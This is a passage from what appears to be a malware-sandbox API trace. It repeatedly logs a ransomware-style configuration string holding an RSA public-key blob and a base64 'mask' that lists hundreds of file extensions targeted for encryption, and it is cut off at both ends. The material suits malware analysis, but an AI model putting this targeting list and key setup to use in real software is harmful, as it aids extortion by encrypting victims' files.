sIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.466] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.466] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.466] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.466] lstrlenA 